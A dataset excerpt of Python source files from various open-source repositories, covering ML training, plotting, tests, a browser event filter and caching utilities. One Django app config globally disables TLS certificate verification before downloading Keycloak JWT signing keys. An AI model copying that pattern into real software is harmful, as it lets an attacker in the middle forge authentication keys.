print(\"{}:\\t{:.9f}\".format(iteration, reduced_loss))\n \n iteration += 1\n\n checkpoint_path = \"{}/DNN_net_{}\".format(\n output_directory, epoch)\n save_checkpoint(model, optimizer, learning_rate, iteration,\n checkpoint_path)\n epoch_ave_loss = epoch_ave_loss / i\n print(\"Epoch: {}, the average epoch loss: {}\".format(epoch, epoch_ave_loss))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', '--config', type=str, default='DNN_spec/config.json',\n help='JSON file for configuration')\n\n args = parser.parse_args()\n\n # Parse configs. Globals nicer in this case\n with open(args.config) as f:\n data = f.read()\n config = json.loads(data)\n DNN_train_config = config[\"DNN_train_config\"]\n global DNN_data_config\n DNN_data_config = config[\"DNN_data_config\"]\n global DNN_net_config\n DNN_net_config = config[\"DNN_net_config\"]\n\n\n torch.backends.cudnn.enabled = True\n torch.backends.cudnn.benchmark = False\n DNN_train(**DNN_train_config)\n", "source": "BaiYunLiu/newPLC", "license": "BSD-3-Clause"} {"text": "# versao 3\n# versao 3: deixado mais bonito visualmente\n\nfrom Soma import *\n\n\n# cores para definir\nfim = '\\033[0m'\nblack = '\\033[40m' \nred = '\\033[31m' \ngreen = '\\033[32m'\nyellow = '\\033[33m'\nblue = '\\033[34m' \npink = '\\033[35m' \nwhite = '\\033[107m'\n\n# definindo soma\nrecome\u00e7ar = Soma()\ncome\u00e7ar = Soma()\n\ndef mostrar():\n system('clear')\n print('digite 0 para sair')\n \n \n print('=-'*30+'=')\n print(f'|\\tCartas para ReCome\u00e7ar: {green}{recome\u00e7ar.Somar()}{fim}')\n print(f'|\\tCartas para Come\u00e7ar: {blue}{come\u00e7ar.Somar()}{fim}') \n print(f'|\\tFaltam {red}{30-(recome\u00e7ar.Somar()+come\u00e7ar.Somar())}{fim} Total: {blue}{recome\u00e7ar.Somar()+come\u00e7ar.Somar()}{fim}')\n\nwhile True:\n mostrar()\n n = input(f'|\\tNumero Para ReCome\u00e7ar: ')\n if n == '0': break\n recome\u00e7ar.set_numeroDeCartas(n)\n \nwhile True:\n mostrar() \n n = input(f'|\\tNumero Para Come\u00e7ar: ')\n if n == '0': \n break \n come\u00e7ar.set_numeroDeCartas(n)\n\nmostrar()\nprint('=-'*30+'=')\nprint('\\n')", "source": "jonasht/Python", "license": "MIT"} {"text": "# Tests for config methods\n\nimport pytest\n\nfrom pathlib import Path\n\nimport abcclassroom.config as abcconfig\n\n\n@pytest.fixture\ndef broken_config(tmp_path):\n \"\"\"\n Writes a improperly formatted config.yml file into the directory\n broken_config.\n \"\"\"\n\n # Create directory for the config (to avoid messing up the config\n # in tmp_path used by other tests)\n dir = Path(tmp_path, \"broken_config\")\n dir.mkdir()\n configpath = Path(dir, \"config.yml\")\n\n # write broken file (we can't use yaml / ruamel for this, because\n # it would throw an error writing the file)\n # The broken line is the *.csv without quotes\n with open(configpath, \"w\") as f:\n f.write(\"files_to_ignore:\\n\")\n f.write(\"- .DS_Store\\n\")\n f.write(\"- .ipynb_checkpoints\\n\")\n f.write(\"- *.csv\\n\")\n\n return dir\n\n\ndef test_get_config(default_config, tmp_path):\n \"\"\"Test basic getting of config\"\"\"\n abcconfig.write_config(default_config, configpath=tmp_path)\n config = abcconfig.get_config(configpath=tmp_path)\n assert config == default_config\n\n\ndef test_get_config_does_not_exist():\n \"\"\"Test that get_config throws a FileNotFoundError when the\n given path does not exist.\n \"\"\"\n with pytest.raises(\n FileNotFoundError, match=\"Oops! I can't seem to find a config.yml\"\n ):\n abcconfig.get_config(\"dirthatdoesntexist\")\n\n\ndef test_broken_config(broken_config):\n \"\"\"Test that we throw the right exception when the config contains\n an unquoted wildcard (interpreted as a yaml alias).\"\"\"\n with pytest.raises(RuntimeError, match=\"Error reading config.yml\"):\n abcconfig.get_config(broken_config)\n\n\ndef test_write_config(default_config, tmp_path):\n \"\"\"Test that we can write the config to a custom path\"\"\"\n testpath = Path(tmp_path, \"write_config\")\n testpath.mkdir()\n abcconfig.write_config(default_config, configpath=testpath)\n assert Path(testpath, \"config.yml\").exists()\n\n\ndef test_get_config_option(default_config):\n # test that works in basic get existing option cases\n assert (\n abcconfig.get_config_option(default_config, \"template_dir\")\n == \"test_template\"\n )\n assert (\n abcconfig.get_config_option(default_config, \"template_dir\", True)\n == \"test_template\"\n )\n assert (\n abcconfig.get_config_option(default_config, \"template_dir\", False)\n == \"test_template\"\n )\n\n # test we're ok when option not required and missing\n assert (\n abcconfig.get_config_option(default_config, \"floofykitten\", False)\n is None\n )\n\n # Test that fails when required but absent\n with pytest.raises(\n KeyError, match=\"Oops! I couldn't find the required option\"\n ):\n abcconfig.get_config_option(default_config, \"floofykitten\", True)\n\n\ndef test_set_config_option(default_config, tmp_path):\n abcconfig.write_config(default_config, configpath=tmp_path)\n\n # test writing new value\n config = abcconfig.set_config_option(\n default_config, \"pie\", \"apple\", configpath=tmp_path\n )\n assert abcconfig.get_config_option(config, \"pie\") == \"apple\"\n\n # test replacing existing value\n config = abcconfig.set_config_option(\n default_config, \"pie\", \"peach\", configpath=tmp_path\n )\n assert abcconfig.get_config_option(config, \"pie\") == \"peach\"\n\n # test adding values to existing single value\n config = abcconfig.set_config_option(\n default_config,\n \"pie\",\n \"pumpkin\",\n append_value=True,\n configpath=tmp_path,\n )\n assert \"peach\" in abcconfig.get_config_option(config, \"pie\")\n assert \"pumpkin\" in abcconfig.get_config_option(config, \"pie\")\n\n # test adding values to existing list\n config = abcconfig.set_config_option(\n default_config, \"pie\", \"pecan\", append_value=True, configpath=tmp_path\n )\n assert \"pecan\" in abcconfig.get_config_option(config, \"pie\")\n\n # test that we don't add duplicates\n config = abcconfig.set_config_option(\n default_config, \"pie\", \"pecan\", append_value=True, configpath=tmp_path\n )\n assert abcconfig.get_config_option(config, \"pie\").count(\"pecan\") == 1\n\n # test replacing existing list\n pie_list = [\"pecan\", \"sugar\"]\n config = abcconfig.set_config_option(\n default_config,\n \"pie\",\n pie_list,\n append_value=False,\n configpath=tmp_path,\n )\n assert len(abcconfig.get_config_option(config, \"pie\")) == 2\n assert \"sugar\" in abcconfig.get_config_option(config, \"pie\")\n", "source": "ambersnyk/abc-classroom", "license": "BSD-3-Clause"} {"text": "import json\nimport subprocess\nimport logging\nfrom typing import Any\n\n\nclass YabaiProvider:\n \"\"\"Class to abstract out calling out to Yabai\"\"\"\n def call_yabai(self, args) -> Any:\n if args[0] != \"yabai\":\n args = [\"yabai\"] + args\n\n logging.debug(f\"Calling Yabai With Args: {args}\")\n command_output = subprocess.run(\n args, stdout=subprocess.PIPE).stdout.decode('utf-8')\n\n if len(command_output) > 0:\n logging.debug(f\"Output from Yabai: {command_output}\")\n return json.loads(command_output)\n else:\n logging.debug(\"No output from Yabai\")\n return None\n", "source": "sendhil/yabai-stack-navigator", "license": "MIT"} {"text": "from chemprop.args import SklearnTrainArgs\nfrom chemprop.sklearn_train import cross_validate_sklearn\nfrom chemprop.utils import create_logger\n\n\nif __name__ == '__main__':\n args = SklearnTrainArgs().parse_args()\n\n logger = create_logger(name='sklearn-train', save_dir=args.save_dir, quiet=args.quiet)\n\n if args.metric is None:\n if args.dataset_type == 'regression':\n args.metric = 'rmse'\n elif args.dataset_type == 'classification':\n args.metric = 'auc'\n else:\n raise ValueError(f'Default metric not supported for dataset_type \"{args.dataset_type}\"')\n\n cross_validate_sklearn(args, logger)\n", "source": "suleymanov/chemprop", "license": "MIT"} {"text": "import Perception as perc\nimport pandas as pd\nimport numpy as np\n\n\nclass Memory:\n\n def __init__(self, camera):\n self.camera = camera\n self.decision = False\n # self.evaluation = False\n # self.DecisionProbabilities = False\n # self.ObjectProbabilities = False\n\n # Ball perception\n self.lastBallCenters = False\n self.lastBallColors = False\n self.lastballsCount = False\n self.lassBallRadius = False\n self.distToBalls = []\n self.ballChosen = False # index to chosen ball in list of current balls found\n\n # Face perception\n self.face = []\n self.faceUpperLeft = False # coordiante of upper left corner of face rectangle\n self.eye = False\n self.faceCentered = False\n self.hadEyeContact = False\n self.havingEyeContact = False\n\n\n # learning\n self.correctObject = \"green\"\n self.RLenv = False\n self.q_table = False\n\n self.RL_y = 0.8 # discount factor\n self.RL_eps = np.ones(4)\n self.RL_delta = 0.05\n self.RL_sigma = 20.0\n self.RL_lr = 0.2\n self.RL_state = 0\n self.trialDone = False\n\n self.defaultReward = -0.2\n self.rewardCorrectBall = 5\n\n self.RL_states = 7 # start, looking left/right, following_gaze, picked close/far, terminate\n self.RL_actions = 6 # look left, look right, follow gaze, pick close/far, terminate\n\n\n # Gaze\n self.gazeVector = False\n self.gazeFollowCounter = 0\n self.gazeFollowThresholdIncr = 30\n\n # Memory\n self.motivation = False\n\n # OS\n self.OS = \"Windows\"\n\n # DecisionMaking\n self.actions = False\n self.patience = 0\n self.maxPatience = 10.0\n\n\n def resetVars(self):\n # -------------------------------\n # reset the memory to ini values\n # -------------------------------\n self.lastBallCenters = False\n self.lastBallColors = False\n self.lastballsCount = False\n self.lassBallRadius = False\n self.distToBalls = []\n self.ballChosen = False\n\n self.RL_state = 0\n self.trialDone = False\n\n self.gazeFollowCounter = 0\n self.gazeVector = False\n\n self.face = []\n self.faceUpperLeft = False\n self.eye = False\n self.faceCentered = False\n self.hadEyeContact = False\n self.havingEyeContact = False\n self.patience = 0\n", "source": "KochPJ/follow_gaze_developmental_robotics", "license": "MIT"} {"text": "\"\"\"Maintain logic, models, forms and parser related to samples and it's information.\"\"\"\n", "source": "aadibajpai/sample-platform", "license": "ISC"} {"text": "# User input\r\npercentage = float(input(\"Enter your marks: \"))\r\n\r\n# Program operation & Computer output\r\nif (percentage >= 90):\r\n print(\"Your grade is A1 !\")\r\nelif (percentage >= 80):\r\n print(\"Your grade is A !\")\r\nelif (percentage >= 70):\r\n print(\"Your grade is B1 !\")\r\nelif (percentage >= 60):\r\n print(\"Your grade is B !\")\r\nelif (percentage >= 50):\r\n print(\"Your grade is C, try better next time!\")\r\nelif (percentage >= 33):\r\n print(\"Your grade is D, try better next time!\")\r\nelse:\r\n print(\"Your grade is E, try better next time!\")\r\n", "source": "kooldamian28/koolthings", "license": "MIT"} {"text": "from django.db.models.base import ModelBase\n\nclass CheckConstraintMetaClass(ModelBase):\n def __new__(cls, name, bases, attrs):\n model = super(CheckConstraintMetaClass, cls).__new__(cls, name, bases, attrs)\n for (constraint_name, constraint_obj) in model._meta.constraints:\n constraint_obj.validate(model._meta)\n return model\n\n", "source": "theju/django-check-constraints", "license": "BSD-3-Clause"} {"text": "#!/usr/bin/env python\n\n####################################################################\n### This is the PYTHON version of program 7.2 from page 242 of #\n### \"Modeling Infectious Disease in humans and animals\" #\n### by Keeling & Rohani.\t\t\t\t\t\t\t\t\t\t #\n###\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t #\n### It is the SIR epidemic in a metapopulationFor simplicity births#\n### and deaths have been ignored, and we work with numbers of #\n### individuals. #\n### Y[i][j] refers to infected individual who are currently in i #\n### but live in j.. #\n####################################################################\n\n###################################\n### Written by Ilias Soumpasis #\n### ilias.soumpasis@ucd.ie (work) #\n### ilias.soumpasis@gmail.com\t #\n###################################\n\nimport scipy.integrate as spi\nimport numpy as np\nimport pylab as pl\nfrom matplotlib.font_manager import FontProperties as fmp\n\nn = 5\nbeta = 1.0 * np.ones(n)\ngamma = 0.3 * np.ones(n)\nN0 = np.zeros(n * n)\nX0 = np.zeros(n * n)\nfor i in np.arange(0, n * n, n + 1):\n N0[i] = 1000.0\n X0[i] = 800.0\n\nY0 = np.zeros(n * n)\nY0[0] = 1.0\nND = MaxTime = 60.0\nTS = 1.0\n\nl = np.zeros((n, n))\nr = np.zeros((n, n))\nfor i in range(n):\n for j in range(n):\n if abs(i - j) == 1:\n l[i][j] = 0.1\nr = 2 * np.ones((n, n))\nr = r - np.diag(np.diag(r))\n\nINPUT0 = np.hstack((X0, Y0, N0))\nINPUT = np.zeros((3 * n * n))\nfor i in range(n * n):\n INPUT[3 * i] = INPUT0[i]\n INPUT[1 + 3 * i] = INPUT0[n * n + i]\n INPUT[2 + 3 * i] = INPUT0[2 * n * n + i]\n\n\ndef diff_eqs(INP, t):\n \"\"\"The main set of equations\"\"\"\n Y = np.zeros((3 * n * n))\n V = INP\n sumY = np.zeros(n)\n sumN = np.zeros(n)\n\n ## Calculate number currently in Subpopulation i\n for i in range(n):\n sumY[i] = 0.0\n sumN[i] = 0.0\n for j in range(n):\n k = 3 * (j + i * n)\n sumN[i] += V[2 + k]\n sumY[i] += V[1 + k]\n\n ## Set all rates to zeros\n for i in range(n):\n for j in range(n):\n k = 3 * (j + i * n)\n Y[k] = 0\n Y[1 + k] = 0\n Y[2 + k] = 0\n\n for i in range(n):\n for j in range(n):\n ## Calculate the rates\n k = 3 * (j + i * n)\n K = 3 * (i + j * n)\n h = 3 * (i + i * n)\n H = 3 * (j + j * n)\n\n Y[k] -= beta[i] * V[k] * (sumY[i] / sumN[i])\n Y[k + 1] += beta[i] * V[k] * (sumY[i] / sumN[i])\n Y[k + 1] -= gamma[i] * V[k + 1]\n\n ## Movement\n Y[h] += r[j][i] * V[K]\n Y[h] -= l[j][i] * V[h]\n\n Y[h + 1] += r[j][i] * V[K + 1]\n Y[h + 1] -= l[j][i] * V[h + 1]\n\n Y[h + 2] += r[j][i] * V[K + 2]\n Y[h + 2] -= l[j][i] * V[h + 2]\n\n Y[k] += l[i][j] * V[H]\n Y[k] -= r[i][j] * V[k]\n\n Y[1 + k] += l[i][j] * V[1 + H]\n Y[1 + k] -= r[i][j] * V[1 + k]\n\n Y[2 + k] += l[i][j] * V[2 + H]\n Y[2 + k] -= r[i][j] * V[2 + k]\n return Y # For odeint\n\n\nt_start = 0.0\nt_end = ND\nt_inc = TS\nt_range = np.arange(t_start, t_end + t_inc, t_inc)\nt_course = spi.odeint(diff_eqs, INPUT, t_range)\ntc = t_course\n\n### Plotting\ntotalS = np.zeros((len(tc), 5))\ntotalI = np.zeros((len(tc), 5))\n\nfor i in range(n):\n for j in range(n):\n k = 3 * (j + i * n)\n totalS[:, i] += tc[:, k]\n totalI[:, i] += tc[:, k + 1]\n\n\n# print len(totalS)\npl.subplot(211)\nfor i in range(5):\n pl.plot(t_range, totalS[:, i], label=(\"data %s\" % (i + 1)), color=(0.3, i / 10.0 + 0.5, 0.1))\npl.xlabel(\"Time\")\npl.ylabel(\"Susceptibles\")\npl.legend(loc=1, prop=fmp(size=\"smaller\"))\npl.subplot(212)\nfor i in range(5):\n pl.plot(t_range, totalI[:, i], label=(\"data %s\" % (i + 1)), color=(0.8, i / 10.0 + 0.0, 0.3))\npl.xlabel(\"Time\")\npl.ylabel(\"Infectious\")\npl.legend(loc=1, prop=fmp(size=\"smaller\"))\n\npl.show()\n", "source": "jpmieville/sir", "license": "MIT"} {"text": "\"\"\"\n===========================\nCreating a Heliographic Map\n===========================\n\nIn this example we use the `reproject` generate an image in heliographic coordinates from an AIA image.\n\nYou will need `reproject `__ v0.6 or higher installed.\n\"\"\"\n# sphinx_gallery_thumbnail_number = 2\n\nimport matplotlib.pyplot as plt\n\nimport astropy.units as u\nfrom astropy.coordinates import SkyCoord\n\nimport sunpy.data.sample\nimport sunpy.map\n\n###############################################################################\n# We will start with using sunpy's sample data for this example.\n\naia_map = sunpy.map.Map(sunpy.data.sample.AIA_193_IMAGE)\n\nplt.figure()\naia_map.plot()\nplt.show()\n\n###############################################################################\n# Reproject works by transforming an input image to a desired World Coordinate\n# System (WCS) projection. Here we use :func:`sunpy.map.make_fitswcs_header`\n# to create a FITS WCS header based on a Stonyhurst heliographic reference\n# coordinate and the CAR (plate carr\u00e9e) projection.\n\nshape_out = (720, 1440)\nframe_out = SkyCoord(0, 0, unit=u.deg,\n frame=\"heliographic_stonyhurst\",\n obstime=aia_map.date,\n rsun=aia_map.coordinate_frame.rsun)\nheader = sunpy.map.make_fitswcs_header(shape_out,\n frame_out,\n scale=(360 / shape_out[1],\n 180 / shape_out[0]) * u.deg / u.pix,\n projection_code=\"CAR\")\n\n###############################################################################\n# With the new header, re-project the data into the new coordinate system.\n# The :meth:`~sunpy.map.GenericMap.reproject_to` defaults to using\n# the fast :func:`reproject.reproject_interp` algorithm, but a different\n# algorithm can be specified (e.g., :func:`reproject.reproject_adaptive`).\n\noutmap = aia_map.reproject_to(header)\n\n###############################################################################\n# Plot the result.\n\nplt.figure()\noutmap.plot()\noutmap.draw_limb(color='blue')\n\nplt.show()\n", "source": "jgieseler/sunpy", "license": "BSD-2-Clause"} {"text": "from .kernel import CalystoHy\nfrom .version import __version__\n", "source": "rz4/MinoTauro", "license": "MIT"} {"text": "# vim: ft=python fileencoding=utf-8 sts=4 sw=4 et:\n\n# Copyright 2016-2021 Florian Bruhin (The Compiler) \n#\n# This file is part of qutebrowser.\n#\n# qutebrowser is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# qutebrowser is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with qutebrowser. If not, see .\n\n\"\"\"Event handling for a browser tab.\"\"\"\n\nfrom PyQt5.QtCore import QObject, QEvent, Qt, QTimer\n\nfrom qutebrowser.config import config\nfrom qutebrowser.utils import message, log, usertypes, qtutils\nfrom qutebrowser.misc import objects\nfrom qutebrowser.keyinput import modeman\n\n\nclass ChildEventFilter(QObject):\n\n \"\"\"An event filter re-adding TabEventFilter on ChildEvent.\n\n This is needed because QtWebEngine likes to randomly change its\n focusProxy...\n\n FIXME:qtwebengine Add a test for this happening\n\n Attributes:\n _filter: The event filter to install.\n _widget: The widget expected to send out childEvents.\n \"\"\"\n\n def __init__(self, *, eventfilter, widget=None, parent=None):\n super().__init__(parent)\n self._filter = eventfilter\n self._widget = widget\n\n def eventFilter(self, obj, event):\n \"\"\"Act on ChildAdded events.\"\"\"\n if event.type() == QEvent.ChildAdded:\n child = event.child()\n log.misc.debug(\"{} got new child {}, installing filter\"\n .format(obj, child))\n\n # Additional sanity check, but optional\n if self._widget is not None:\n assert obj is self._widget\n\n child.installEventFilter(self._filter)\n elif event.type() == QEvent.ChildRemoved:\n child = event.child()\n log.misc.debug(\"{}: removed child {}\".format(obj, child))\n\n return False\n\n\nclass TabEventFilter(QObject):\n\n \"\"\"Handle mouse/keyboard events on a tab.\n\n Attributes:\n _tab: The browsertab object this filter is installed on.\n _handlers: A dict of handler functions for the handled events.\n _ignore_wheel_event: Whether to ignore the next wheelEvent.\n _check_insertmode_on_release: Whether an insertmode check should be\n done when the mouse is released.\n \"\"\"\n\n def __init__(self, tab, *, parent=None):\n super().__init__(parent)\n self._tab = tab\n self._handlers = {\n QEvent.MouseButtonPress: self._handle_mouse_press,\n QEvent.MouseButtonRelease: self._handle_mouse_release,\n QEvent.Wheel: self._handle_wheel,\n QEvent.KeyRelease: self._handle_key_release,\n }\n self._ignore_wheel_event = False\n self._check_insertmode_on_release = False\n\n def _handle_mouse_press(self, e):\n \"\"\"Handle pressing of a mouse button.\n\n Args:\n e: The QMouseEvent.\n\n Return:\n True if the event should be filtered, False otherwise.\n \"\"\"\n is_rocker_gesture = (config.val.input.mouse.rocker_gestures and\n e.buttons() == Qt.LeftButton | Qt.RightButton)\n\n if e.button() in [Qt.XButton1, Qt.XButton2] or is_rocker_gesture:\n self._mousepress_backforward(e)\n return True\n\n self._ignore_wheel_event = True\n\n pos = e.pos()\n if pos.x() < 0 or pos.y() < 0:\n log.mouse.warning(\"Ignoring invalid click at {}\".format(pos))\n return False\n\n if e.button() != Qt.NoButton:\n self._tab.elements.find_at_pos(pos, self._mousepress_insertmode_cb)\n\n return False\n\n def _handle_mouse_release(self, _e):\n \"\"\"Handle releasing of a mouse button.\n\n Args:\n e: The QMouseEvent.\n\n Return:\n True if the event should be filtered, False otherwise.\n \"\"\"\n # We want to make sure we check the focus element after the WebView is\n # updated completely.\n QTimer.singleShot(0, self._mouserelease_insertmode)\n return False\n\n def _handle_wheel(self, e):\n \"\"\"Zoom on Ctrl-Mousewheel.\n\n Args:\n e: The QWheelEvent.\n\n Return:\n True if the event should be filtered, False otherwise.\n \"\"\"\n if self._ignore_wheel_event:\n # See https://github.com/qutebrowser/qutebrowser/issues/395\n self._ignore_wheel_event = False\n return True\n\n # Don't allow scrolling while hinting\n mode = modeman.instance(self._tab.win_id).mode\n if mode == usertypes.KeyMode.hint:\n return True\n\n elif e.modifiers() & Qt.ControlModifier:\n if mode == usertypes.KeyMode.passthrough:\n return False\n\n divider = config.val.zoom.mouse_divider\n if divider == 0:\n # Disable mouse zooming\n return True\n\n factor = self._tab.zoom.factor() + (e.angleDelta().y() / divider)\n if factor < 0:\n return True\n\n perc = int(100 * factor)\n message.info(f\"Zoom level: {perc}%\", replace='zoom-level')\n self._tab.zoom.set_factor(factor)\n return True\n\n return False\n\n def _handle_key_release(self, e):\n \"\"\"Ignore repeated key release events going to the website.\n\n WORKAROUND for https://bugreports.qt.io/browse/QTBUG-77208\n\n Args:\n e: The QKeyEvent.\n\n Return:\n True if the event should be filtered, False otherwise.\n \"\"\"\n return (e.isAutoRepeat() and\n not qtutils.version_check('5.14', compiled=False) and\n objects.backend == usertypes.Backend.QtWebEngine)\n\n def _mousepress_insertmode_cb(self, elem):\n \"\"\"Check if the clicked element is editable.\"\"\"\n if elem is None:\n # Something didn't work out, let's find the focus element after\n # a mouse release.\n log.mouse.debug(\"Got None element, scheduling check on \"\n \"mouse release\")\n self._check_insertmode_on_release = True\n return\n\n if elem.is_editable():\n log.mouse.debug(\"Clicked editable element!\")\n if config.val.input.insert_mode.auto_enter:\n modeman.enter(self._tab.win_id, usertypes.KeyMode.insert,\n 'click', only_if_normal=True)\n else:\n log.mouse.debug(\"Clicked non-editable element!\")\n if config.val.input.insert_mode.auto_leave:\n modeman.leave(self._tab.win_id, usertypes.KeyMode.insert,\n 'click', maybe=True)\n\n def _mouserelease_insertmode(self):\n \"\"\"If we have an insertmode check scheduled, handle it.\"\"\"\n if not self._check_insertmode_on_release:\n return\n self._check_insertmode_on_release = False\n\n def mouserelease_insertmode_cb(elem):\n \"\"\"Callback which gets called from JS.\"\"\"\n if elem is None:\n log.mouse.debug(\"Element vanished!\")\n return\n\n if elem.is_editable():\n log.mouse.debug(\"Clicked editable element (delayed)!\")\n modeman.enter(self._tab.win_id, usertypes.KeyMode.insert,\n 'click-delayed', only_if_normal=True)\n else:\n log.mouse.debug(\"Clicked non-editable element (delayed)!\")\n if config.val.input.insert_mode.auto_leave:\n modeman.leave(self._tab.win_id, usertypes.KeyMode.insert,\n 'click-delayed', maybe=True)\n\n self._tab.elements.find_focused(mouserelease_insertmode_cb)\n\n def _mousepress_backforward(self, e):\n \"\"\"Handle back/forward mouse button presses.\n\n Args:\n e: The QMouseEvent.\n\n Return:\n True if the event should be filtered, False otherwise.\n \"\"\"\n if (not config.val.input.mouse.back_forward_buttons and\n e.button() in [Qt.XButton1, Qt.XButton2]):\n # Back and forward on mice are disabled\n return\n\n if e.button() in [Qt.XButton1, Qt.LeftButton]:\n # Back button on mice which have it, or rocker gesture\n if self._tab.history.can_go_back():\n self._tab.history.back()\n else:\n message.error(\"At beginning of history.\")\n elif e.button() in [Qt.XButton2, Qt.RightButton]:\n # Forward button on mice which have it, or rocker gesture\n if self._tab.history.can_go_forward():\n self._tab.history.forward()\n else:\n message.error(\"At end of history.\")\n\n def eventFilter(self, obj, event):\n \"\"\"Filter events going to a QWeb(Engine)View.\n\n Return:\n True if the event should be filtered, False otherwise.\n \"\"\"\n evtype = event.type()\n if evtype not in self._handlers:\n return False\n if obj is not self._tab.private_api.event_target():\n log.mouse.debug(\"Ignoring {} to {}\".format(\n event.__class__.__name__, obj))\n return False\n return self._handlers[evtype](event)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "import json\nimport ssl\n\nfrom django.apps import AppConfig\nfrom django.conf import settings\nfrom six.moves import urllib\nfrom cryptography import x509\nfrom cryptography.hazmat import backends\n\n# Don't verify ssl Certificates\n# pylint: disable=protected-access\nssl._create_default_https_context = ssl._create_unverified_context\n\nclass ApiConfig(AppConfig):\n default_auto_field = 'django.db.models.BigAutoField'\n name = 'api'\n\n def ready(self):\n # Load Public Key (as Certificate) from Keycloak-Realm\n # ------------------------------------\n #return None\n try: # (A) Load keys from url...\n url = settings.KEYCLOAK['HOST']+\"/auth/realms/\" + settings.KEYCLOAK['REALM_NAME']+\"/protocol/openid-connect/certs\"\n # pylint: disable=consider-using-with\n response = urllib.request.urlopen(url)\n # Response-Format:\n # {\n # \"keys\": [\n # {\n # \"kid\": \"sFkzNoS9...8yQNR40\",\n # \"kty\": \"RSA\",\n # \"alg\": \"RS256\",\n # \"use\": \"sig\",\n # \"n\": \"gLfOWIww2M...tFrBG_w\",\n # \"e\": \"AQAB\",\n # \"x5c\": [\n # \"MIIClTCCAX...Fq5EyBWe53G5gk=\"\n # ],\n # \"x5t\": \"p7R_1_Lwk...NtfNwCw\",\n # \"x5t#S256\": \"76RGrg4I...MLFmNWB3So\"\n # }\n # ]\n # }\n except Exception as ex:\n #\"message\": f\"Request on '{dj_settings.KEYCLOAK_PUBLIC_KEY_URL}' failed! Check if url is reachable...\", \\\n message = { \"error\": \"request.urlopen()\",\n \"message\": f\"Request on '{url}' failed! Check if url is reachable...\",\n \"exception\":{ \"type\":str(ex.__class__.__name__),\n \"message\":str(ex),\n }\n }\n raise Exception(message) from ex\n\n try: # (B) Extract Public Key as Certificate out of response\n json_response = json.loads(response.read().decode('utf-8'))\n cert = '-----BEGIN CERTIFICATE-----\\n' + json_response['keys'][0]['x5c'][0] + '\\n-----END CERTIFICATE-----'\n cert = x509.load_pem_x509_certificate(cert.encode('utf-8'), backends.default_backend())\n pki = cert.public_key()\n except Exception as ex:\n message = {\n \"error\": \"extracting pki\",\n \"message\": \"Error during extracting pki out of json-response of Keycloak! Debug section...\",\n \"exception\":{\n \"type\":str(ex.__class__.__name__),\n \"message\":str(ex),\n }\n }\n raise Exception(message) from ex\n\n # (C) Write result back to settings...\n settings.JWT_AUTH['JWT_PUBLIC_KEY'] = pki\n", "source": "giacomooo/CASFEE_Project2", "license": "MIT"} {"text": "import hashlib\nimport os\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\n\nclass SimpleCache(dict):\n\n def set(self, key, value):\n self[key] = value\n\n def get(self, key):\n return super(SimpleCache, self).get(key)\n\n\nclass FileBasedCache(object):\n\n def __init__(self, root):\n self.root = root\n\n def set(self, key, value):\n filepath = self._get_filepath(key)\n\n dirname = os.path.dirname(filepath)\n if not os.path.exists(dirname):\n try:\n os.makedirs(dirname)\n except OSError:\n return\n\n try:\n with open(filepath, 'wb') as f:\n pickle.dump(value, f, pickle.HIGHEST_PROTOCOL)\n except IOError:\n pass\n\n def get(self, key):\n filepath = self._get_filepath(key)\n try:\n with open(filepath, 'rb') as f:\n return pickle.load(f)\n except (IOError, OSError, EOFError, pickle.PickleError):\n return None\n\n def _get_filepath(self, key):\n relpath = hashlib.sha1(key.encode('utf-8')).hexdigest()\n relpath = os.path.join(relpath[:2], relpath[2:4], relpath[4:])\n return os.path.join(self.root, relpath)\n", "source": "gears/gears", "license": "0BSD"} {"text": "# This file contains common setup code for plot formatting, and data loading from the data source.\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import cm\nimport pymongo\nimport matplotlib\n\noutput_dir = \"plots_output\"\nCOLOR_GRAY = \"#999999\"\n\nclient = None\ndata_source = \"mongodb\" # allowed values: mongodb, json\n\n\ndef _query_mongo(query):\n global client\n if client is None:\n client = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n\n db = client[\"analysis\"]\n docs = db['experiments'].find(query)\n print(docs)\n results = list(docs)\n print([r[\"_id\"] for r in results])\n return results\n\n\ndef query_data(query):\n if data_source == \"mongodb\":\n return _query_mongo(query)\n elif data_source == \"json\":\n raise NotImplementedError(\"JSON source not yet supported\")\n else:\n raise ValueError(f\"Data source {data_source} not supported.\")\n\n\ndef _preprocess(df, suffix):\n # set start timestamp to 0\n # df[\"time\"].iloc[0] = 1\n # df[\"cumtime\"] = df[\"time\"].cumsum()\n df = df.rename(columns={\"adv_success\": f\"adv_success_{suffix}\", \"accuracy\": f\"accuracy_{suffix}\"})\n # \"time\": f\"time_{suffix}\", \"cumtime\": f\"cumtime_{suffix}\" }\n # )\n return df\n\ndef get_colorful_styles():\n cmap_1 = matplotlib.cm.get_cmap('Set1')\n cmap_2 = matplotlib.cm.get_cmap('Set2')\n # colors = [cmap_1(i) for i in range(8)]\n colors = []\n colors.extend([cmap_1(i) for i in range(30)])\n # colors = ['#CD4631', '#8B1E3F', '#3C153B', '#89BD9E', '#F9C80E', '#F9C80E', '#F9C80E', '#F9C80E']\n linestyles = ['-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-', '-',\n '-', '-', '-', '-', '-', '-', '-', '-', '-', '-']\n\n colors = [colors[3], colors[1], colors[2], colors[0]] + colors[4:]\n\n return colors, linestyles\n\n\ndef get_markers():\n return ['*', 'o', 'D', 's', 'p', 'h', '']\n\n\ndef setup_plt(square=False):\n\n fig_width_pt = 240.0 # Get this from LaTeX using \\showthe\n inches_per_pt = 1.0 / 72.27 * 2 # Convert pt to inches\n golden_mean = ((np.math.sqrt(5) - 1.0) / 2.0) * .8 # Aesthetic ratio\n fig_width = fig_width_pt * inches_per_pt # width in inches\n fig_height = (fig_width * golden_mean) # height in inches\n fig_size = [fig_width, fig_height]\n\n if square:\n fig_size = [fig_height * 1.58, fig_height]\n 